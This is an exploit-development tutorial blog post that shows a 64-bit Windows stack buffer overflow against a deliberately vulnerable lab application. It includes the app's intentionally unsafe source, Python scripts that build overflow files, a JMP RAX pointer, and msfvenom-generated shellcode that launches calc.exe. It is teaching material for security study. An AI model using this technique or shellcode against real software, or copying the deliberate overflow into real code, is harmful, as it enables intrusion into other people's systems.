The Basics of Exploit Development 5: x86-64 Buffer Overflows

September 18, 2020
Blog Images 2022 09 18 Tile

In this article we will be covering a technique similar to the one in the first installment of this series, however, with the twist in that this exploit will be of a 64-bit process running on Windows 10. Due to the nature of modern operating systems and the exploit mitigation techniques they employ, this will not be a very realistic example due to the fact that we will be disabling everything so we can concentrate on a few aspects of exploiting a 64-bit application. Specifically, we will be looking at the differences in how the different architectures call functions and how the features of the 64-bit method can be leveraged to exploit a vulnerability.


Hello! If you have read the other articles in this series, welcome back. If not, I would encourage you to read those before proceeding with this article as it builds on concepts laid down in the previous installments. In this article we will be covering a technique similar to the one in the first installment of this series, however, with the twist in that this exploit will be of a 64-bit process running on Windows 10.

Due to the nature of modern operating systems and the exploit mitigation techniques they employ, this will not be a very realistic example due to the fact that we will be disabling everything so we can concentrate on a few aspects of exploiting a 64-bit application. Specifically, we will be looking at the differences in how the different architectures call functions and how the features of the 64-bit method can be leveraged to exploit a vulnerability.


This guide was written to run on a fresh install of Windows 10 Pro and as such you should follow along inside a Windows 10 virtual machine. This vulnerability has also been tested on Windows 7. However the offsets in this article are the ones from the Windows 10 machine and subsequently may differ on your Windows 7 installation. The steps to recreate the exploit, however, are exactly the same.

We will need a copy of X64dbg that you can download from the official website and a copy of the ERC plugin for X64dbg from here. If you already have a copy of X64dbg and the ERC plugin installed, connecting to any process and running “ERC --Update” will download and install the latest 32-bit and 64-bit plugins, and you will then need to restart the debugger. As the vulnerable application we will be working with is a 64-bit application, you will need to either download the 64-bit version of the plugin binaries or compile the plugin manually. Instructions for installing the plugin can be found on the Coalfire GitHub page.

If using Windows 7 and X64dbg with the plugin installed and it crashes and then exits when starting, you may need to install .Net Framework 4.7.2 that can be downloaded here. If you encounter an error stating that MSVCP140.dll is missing, you will need to install Microsoft Visual C++ 2015 - 2019 Redistributable both x86 and x64 versions.

Finally, we will need a copy of the vulnerable application that can be found here. In order to confirm everything is working, start X64dbg and select File -> Open, then navigate to where you installed vulnerable app and select the executable. Click through the breakpoints and the terminal interface should pop up.

Alternatively, you have the option to build the project from source. A Visual Studio solution package can be found here, and the code for the application is also below. Please be advised that if you create your own solution and use the code below, you will need to disable all the exploit mitigations on by default in Visual Studio.

1. #include <iostream>  
2. #include <string>  
3. #include <fstream>  
4. #include <windows.h>  
6.  inline bool file_exists(const std::string& name) {  
7.	    std::ifstream f(name.c_str());  
8.	    return f.good();  
9.  }  
11. void exploitable(const char* p, int len)  
12. {  
13.    char buffer[700];  
14.    long unsigned int out_protect;  
15.    if (!VirtualProtect((void*)buffer, 700, PAGE_EXECUTE_READWRITE, &out_protect)) {  
16.        puts("Failed to mark buffer as executable");  
17.        exit(1);  
18.    }  
19.    memcpy(buffer, p, len);  
20. }  
22. int main()  
23. {  
24.    std::string inputFile = "";  
25.    std::string inputText = "";  
27.    std::cout << "Please enter filename:\n";  
28.    std::cin >> inputFile;  
30.    bool fileExists = file_exists(inputFile);  
32.    if (fileExists == true) {  
33.        std::ifstream t(inputFile);  
34.        std::string str((std::istreambuf_iterator<char>(t)),  
35.        std::istreambuf_iterator<char>());  
36.        inputText = str;  
37.    }  
38.    else{  
39.        std::cout << "File does not exist\n";  
40.        std::cin >> inputFile;  
41.        return 0;  
42. }  
44. exploitable(inputText.c_str(), inputText.size());  
45. std::cin >> inputText;  
47. return 0;  
48. }

Now that you have a working copy of the vulnerable app, X64dbg and the ERC plugin, you can now start the debugger and attach to the vulnerable app and run the following:


ERC --help

You should see the following output:

X64bgd open, running the ERC plugin and attached to vulnerable appX64bgd open, running the ERC plugin and attached to vulnerable app

Transitioning to x86-64


Similar to when x86-16 was extended to x86-32, all the old registers remain the same size and have the same prefix. To access the 64-bit version of each register, replace the E prefix from 32-bit notation with an R. As seen in the image below, there are eight new registers (R8-R15). There are also numerous other registers such as the 16 vector registers (xmm0-xmm15), but we will not use these in this installment of the series.

X86-64 registers.X86-64 registers.

Calling convention

The calling convention for x86-32 is usually cdecl or stdcall (cdecl for most things and stdcall for the Windows API). However, in almost all instances, x86-64 uses the fastcall calling convention.

Fastcall places the first four arguments passed to a function in registers RCX, RDX, R8, and R9, while further parameters are placed on the stack. The registers RAX, RCX, RDX, R8, R9, R10, and R11 are considered volatile registers, meaning that their values will not be preserved through a function call, unlike the values placed in RBX, RBP, RDI, RSI, RSP, R12, R13, R14, and R15, which will be preserved.

Important for this article: when a fastcall function returns a value, it will be stored in RAX (the value itself will be stored if less than eight bytes or a pointer to the value if greater than eight bytes). As such, if we can overwrite a functions return pointer with a pointer to a JMP RAX instruction, we can jump to the location in memory of the value returned by that function.

Overwriting RIP

In a 32-bit architecture application, if a buffer overflows in a suitable manner, the EIP register will get loaded with the overwritten return pointer address on the stack. This is not the case with 64-bit applications, which will only load canonical addresses into the RIP register. As an example, you cannot overflow a buffer with As and expect to see RIP flooded with 41s as 0x4141414141414141 is not a canonical address. However, we can overwrite the return pointer with a canonical address of some instruction set we would like to execute, and this address will be loaded into RIP and run as normal.

In the 64-bit architecture, not all possible addresses are used for normal UserLAnd applications. Typically, you can expect 0x0000000000000000 to 0x00007FFFFFFFFFFF to be available to UserLAnd processes with kernel processes using the 0xFFFF0000`00000000 - 0xFFFFFFFF`FFFFFFFF range. Any address outside these ranges are non-canonical.

Confirming the vulnerability exists

In order to confirm the vulnerability exists, we will need to pass a malicious payload to the program that will cause a crash. As this program reads a file as input, we will write 1,000 As to a file using the python script below then pass it to the program.

1. f = open("crash-1.txt", "wb")  
3. buf = b"A" * 1000  
5. f.write(buf)  
6. f.close()

First, ensure the vulnerable app is still open and attached to x64dbg. Then when the program runs, it will create a text file called "crash-1.txt". Simply pass the path of this file to the vulnerable application and observe the crash in x64dbg. Looking at the stack view, we now see that the return pointer has been overwritten.

Return pointer overwritten with As.Return pointer overwritten with As.

However, the registers view shows that RIP has not been overwritten with As. This is because RIP will not load a non-canonical address (as discussed earlier).

RIP not filled with As from return pointer.RIP not filled with As from return pointer.

We confirmed the vulnerability exists and appears to be exploitable, so we can now continue developing this into a full exploit.

Developing the exploit

Since we now know we can overwrite the saved return pointer, we can start building a working exploit. As was the case in the previous episode of this series, we will be using the ERC plugin for X64dbg. So, let’s ensure we have all our files being generated in the correct place with the following:


ERC --config SetWorkingDirectory C:\Users\YourUserName\DirectoryYouWillBeWorkingFrom

If you are not using the same machine as last time you may want to reassign the project author.


ERC --config SetAuthor AuthorsName

Now that we have assigned our working directory and set an author for the project, the next task is to identify how far into our string of As that the return pointer was overwritten. To identify this, we will generate a non-repeating pattern (NRP) and include it in our next buffer.


ERC --pattern c 1000

ERC Pattern Create output.ERC Pattern Create output.

We can add this into our exploit code, so it looks like the following:

1.  f = open("crash-2.txt", "wb")  
3.  buf = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac"  
4.  buf += b"9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8"  
5.  buf += b"Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7A"  
6.  buf += b"i8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al"  
7.  buf += b"7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6"  
8.  buf += b"Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5A"  
9.  buf += b"r6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au"  
10. buf += b"5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4"  
11. buf += b"Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3B"  
12. buf += b"a4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd"  
13. buf += b"3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2"  
14. buf += b"Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"  
16. f.write(buf)  
17. f.close()

Run the python program and pass the created file (crash-2.txt) to the application again. It should cause a crash. Run the following command to find out how far into the pattern the return pointer was overwritten. Since RIP will not load a non-canonical address, we will not be able to use the FindNRP command to identify where the return pointer was overwritten. However, we can copy the value that the return pointer was overwritten with and pass it to the pattern offset command.

Return pointer overwritten with non-repeating pattern.Return pointer overwritten with non-repeating pattern.

The value “3978413878413778” seen in the image above converted to ascii is “9xA8xA7x”. We can use this with the pattern offset command to identify how far into our input string the return pointer was overwritten.


ERC --pattern o 9xA8xA7x

Pattern offset identifying the location the return pointer was overwritten.Pattern offset identifying the location the return pointer was overwritten.

Now that we have identified how far into our malicious input the return pointer was overwritten, it is time to identify if RAX points to a useful section of memory. Right click the RAX register in x64dbg and select “Follow in Dump” and we can now see the start of our non-repeating pattern.

RAX pointing to the start of the non-repeating pattern.RAX pointing to the start of the non-repeating pattern.

Now that we know we can control RIP and we have a register that points into an area of memory we control, all we need is a pointer to a JMP RAX instruction and execution will be diverted to the start of our malicious buffer. First, let’s identify what hex codes correspond to JMP RAX.


ERC --assemble JMP RAX

JMP RAX hex code.JMP RAX hex code.

Now let’s search the binaries loaded by the application for a suitable pointer to a JMP RAX instruction.


ERC --searchmemory FF E0

Suitable pointers to JMP RAX instructions.Suitable pointers to JMP RAX instructions.

In this example we will be using 0x00000000007D6AF0. As this is a canonical address, we can put this at the point necessary to overwrite our return pointer and see if it gets loaded into RIP. Our exploit code should now look like this:

1. f = open("crash-3.txt", "wb")  
3. buf = b"\x90" * 712  
4. buf += b"\xF0\x6A\x7D\x00\x00\x00\x00\x00" #00000000007D6AF0  
5. buf += b"\x00" * 300  
7. f.write(buf)  
8. f.close()

We have also replaced our As with NOP instructions so we can pass through them without crashing the application when we land in our payload. You should also place a breakpoint at the JMP RAX instruction so we can see that we land there as expected.

When we pass this new malicious file to our vulnerable application, we should see the following in the registers view:

RIP overwritten with JMP RAX pointer.RIP overwritten with JMP RAX pointer.

RIP has now been overwritten with our JMP RAX pointer. This should also be confirmed by looking at the disassembler view, and we can see that we have hit our breakpoint.

Landing at our JMP RAX breakpoint.Landing at our JMP RAX breakpoint.

If we single step with F7 we should see execution move to where RAX is pointing and land us in our NOP buffer.

Landing in NOP buffer.Landing in NOP buffer.

We have now redirected execution to a section of memory we control, so all we need to do is generate a payload, add it to our exploit and confirm it works. To do this, we will once again turn to MSFVenom and generate a calc payload.


msfvenom –p windows/x64/exec CMD=calc.exe -f python –smallest -b ‘\x1A’

MSFVenom payload.MSFVenom payload.

We can add this to our exploit code to get the following:

1.  f = open("crash-4.txt", "wb")  
3.  buf =  b""  
4.  buf += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"  
5.  buf += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"  
6.  buf += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"  
7.  buf += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"  
8.  buf += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"  
9.  buf += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"  
10. buf += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"  
11. buf += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"  
12. buf += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"  
13. buf += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"  
14. buf += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"  
15. buf += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"  
16. buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"  
17. buf += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"  
18. buf += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"  
19. buf += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"  
20. buf += b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"  
21. buf += b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"  
22. buf += b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"  
23. buf += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"  
24. buf += b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"  
25. buf += b"\x78\x65\x00"  
26. buf += b"\x90" * (712 - len(buf))  
27. buf += b"\xF0\x6A\x7D\x00\x00\x00\x00\x00" #00000000007D6AF0  
28. buf += b"\x41" * 300  
30. f.write(buf)  
31. f.close()

After passing to the vulnerable app and stepping through the breakpoint, this should cause the calculator to pop up.

Exploit completed!Exploit completed!

We have now successfully completed a working exploit on a 64-bit application.


While this exercise was not the most realistic scenario, it covered some essential techniques that we will build on in later articles to exploit applications in more realistic scenarios. Knowledge of the different function calling conventions is essential for developing exploits in any realistic situation or for writing your own custom payloads. I hope you found value in this article and look for number 6 in our series soon!